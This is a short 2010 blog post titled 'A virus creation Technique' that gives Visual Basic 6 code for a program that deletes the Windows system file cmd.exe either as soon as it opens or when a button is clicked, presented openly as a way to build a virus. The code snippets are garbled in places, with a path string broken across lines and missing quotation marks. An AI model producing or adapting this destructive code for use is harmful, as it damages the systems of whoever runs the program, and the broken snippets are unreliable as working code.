Sunday, November 14, 2010

A virus creation Technique

First of all open a new Visual Basic project, a standard exe file.. Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub. On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on. In the project put in the file you want to delete, for example if you wanted to delete


the command file then you would put the following code in the form load tab.
Code:
Private Sub Form_Load()
Text1.Text = “C:/Windows/System3
2/cmd.exe
Kill Text1.Text
End Sub
Once the project is opened then the command file will be removed. Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load. You can even give the text box a name to make it quicker. I have labelled it ‘A’ Code: Private Sub Form_Load()
Text1.Text = “C/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now once the command button is clicked on the project the command file will be deleted.


0 comments:

Post a Comment

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Sweet Tomatoes Printable Coupons
Increase traffic